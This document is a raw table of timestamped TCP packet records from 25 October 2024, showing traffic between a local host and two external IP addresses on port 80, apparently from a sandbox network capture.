Oct 25, 2024 19:47:29.937033892 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.937043905 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.937659025 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.937695026 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.937696934 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.937731028 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.937760115 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.937772989 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.938265085 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.938299894 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.938309908 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:29.938334942 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:29.938482046 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.111740112 CEST	49177	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:30.117872953 CEST	80	49177	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:30.117944002 CEST	49177	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:30.119760990 CEST	49177	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:30.125406027 CEST	80	49177	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:30.125461102 CEST	49177	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:30.130848885 CEST	80	49177	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:30.310589075 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.310630083 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.310658932 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.310688019 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.310704947 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.310805082 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.451452971 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.451495886 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.451540947 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.451570034 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.451612949 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.451648951 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.451654911 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.451896906 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.451945066 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.451968908 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.452003956 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.452157974 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.521244049 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521322012 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521382093 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521408081 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.521420956 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521477938 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.521605968 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521661997 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521697998 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521723032 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.521733046 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.521791935 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.522701979 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.522737026 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.522773981 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.522798061 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:30.522861004 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:30.522905111 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:31.091233969 CEST	80	49177	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:31.091346979 CEST	49177	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:31.097593069 CEST	80	49177	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:31.097652912 CEST	49177	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:31.181900978 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:31.187705040 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:31.187777042 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:31.189388990 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:31.195938110 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:31.196022987 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:31.201867104 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:31.766520023 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.766546965 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.766562939 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.766577005 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.766587973 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:31.766597986 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.766613007 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.766624928 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:31.766649961 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:31.766681910 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.767016888 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:31.768928051 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.768965006 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.769396067 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:31.769464970 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:31.769464970 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:32.029948950 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:32.029973984 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:32.030025959 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:32.030075073 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:32.030085087 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:32.030108929 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:32.209280968 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:32.209409952 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:32.215673923 CEST	80	49178	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:32.217335939 CEST	49178	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:32.263221025 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:32.268723011 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:32.268775940 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:32.270695925 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:32.276094913 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:32.276137114 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:32.282537937 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:33.014554024 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.014590025 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.014647961 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.014672041 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:33.014698982 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.014734030 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.014739990 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:33.015266895 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.015309095 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:33.015336990 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.015371084 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.015403986 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.015428066 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:33.015973091 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.016019106 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:33.016052008 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.016295910 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:33.016335964 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:33.245336056 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:33.245435953 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:33.251843929 CEST	80	49179	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:33.251892090 CEST	49179	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:33.406059027 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:33.411447048 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:33.411508083 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:33.414132118 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:33.419362068 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:33.419411898 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:33.424711943 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:34.369340897 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:34.380625963 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:34.386499882 CEST	80	49180	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:34.386578083 CEST	49180	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:34.540401936 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:34.545911074 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:34.545998096 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:34.547807932 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:34.553251028 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:34.553307056 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:34.558922052 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:34.563158989 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:34.563191891 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:34.563330889 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.041728020 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.041748047 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.041763067 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.041778088 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.041800022 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.041805029 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.041819096 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.041928053 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.041979074 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.042521954 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.042565107 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.042768955 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.042783976 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.042799950 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.042817116 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.042901993 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.042942047 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.042968988 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.042999983 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.043045998 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.043240070 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.043423891 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.533554077 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:35.539534092 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:35.545416117 CEST	80	49181	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:35.545490026 CEST	49181	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:35.666239023 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:35.674993992 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:35.675061941 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:35.676700115 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:35.682102919 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:35.682147980 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:35.687449932 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:35.779819965 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.779860020 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.779911041 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.924957037 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.925019979 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.925061941 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.925071955 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.925108910 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.925268888 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.925292969 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.925321102 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.925367117 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.925462008 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.998456955 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.998497009 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.998509884 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.998527050 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.998567104 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.998579979 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:35.998586893 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:35.998620033 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:36.070869923 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:36.070938110 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:36.070986032 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:36.143260002 CEST	80	49176	192.3.176.141	192.168.2.22
Oct 25, 2024 19:47:36.143327951 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:36.164009094 CEST	49176	80	192.168.2.22	192.3.176.141
Oct 25, 2024 19:47:36.651504040 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:36.652853012 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:36.662923098 CEST	80	49182	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:36.662966967 CEST	49182	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:36.795202017 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:36.802041054 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:36.802097082 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:36.803911924 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:36.809216976 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:36.809250116 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:36.814973116 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:37.783608913 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:37.783747911 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:37.790008068 CEST	80	49183	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:37.790081024 CEST	49183	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:37.949934006 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:37.956332922 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:37.956398010 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:37.958031893 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:37.964700937 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:37.964782000 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:37.971545935 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:38.953722954 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:38.954277992 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:38.960319042 CEST	80	49184	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:38.960377932 CEST	49184	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:39.083399057 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:39.088656902 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:39.088712931 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:39.090378046 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:39.095671892 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:39.095716953 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:39.101048946 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:40.073620081 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:40.073709965 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:40.079504013 CEST	80	49185	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:40.080565929 CEST	49185	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:40.301064968 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:40.306440115 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:40.306967974 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:40.308180094 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:40.313606024 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:40.313649893 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:40.319210052 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:41.263916016 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:41.264101982 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:41.270431042 CEST	80	49186	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:41.271017075 CEST	49186	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:41.559040070 CEST	49187	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:41.564728975 CEST	80	49187	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:41.565026999 CEST	49187	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:41.566721916 CEST	49187	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:41.572580099 CEST	80	49187	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:41.572655916 CEST	49187	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:41.578007936 CEST	80	49187	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:42.528846025 CEST	80	49187	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:42.528981924 CEST	49187	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:42.534981966 CEST	80	49187	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:42.535059929 CEST	49187	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:42.657052994 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:42.662570953 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:42.662661076 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:42.664341927 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:42.669790983 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:42.669867039 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:42.675415039 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:43.673293114 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:43.673903942 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:43.679975033 CEST	80	49188	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:43.680190086 CEST	49188	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:43.845987082 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:43.851458073 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:43.851517916 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:43.853213072 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:43.859133005 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:43.859216928 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:43.864917040 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:44.839399099 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:44.839508057 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:44.845318079 CEST	80	49189	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:44.845375061 CEST	49189	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:44.966120958 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:45.244461060 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:45.244539022 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:45.246186018 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:45.251737118 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:45.251828909 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:45.257190943 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:46.223337889 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:46.223465919 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:46.229548931 CEST	80	49190	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:46.229585886 CEST	49190	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:46.352565050 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:46.357980967 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:46.358036995 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:46.359719038 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:46.366583109 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:46.366646051 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:46.372402906 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:47.537081003 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:47.537204027 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:47.537688971 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:47.537719011 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:47.537843943 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:47.537843943 CEST	49191	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:47.542649031 CEST	80	49191	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:48.182996035 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:48.188523054 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:48.188592911 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:48.190238953 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:48.195557117 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:48.195617914 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:48.200957060 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:49.209000111 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:49.209117889 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:49.214920044 CEST	80	49192	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:49.214971066 CEST	49192	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:49.682889938 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:49.688611031 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:49.691004992 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:49.692683935 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:49.698235035 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:49.699028015 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:49.704507113 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:50.669743061 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:50.669845104 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:50.675602913 CEST	80	49193	94.156.177.220	192.168.2.22
Oct 25, 2024 19:47:50.675668001 CEST	49193	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:50.810364008 CEST	49194	80	192.168.2.22	94.156.177.220
Oct 25, 2024 19:47:50.818304062 CEST	80	49194	94.156.177.220	192.168.2.22
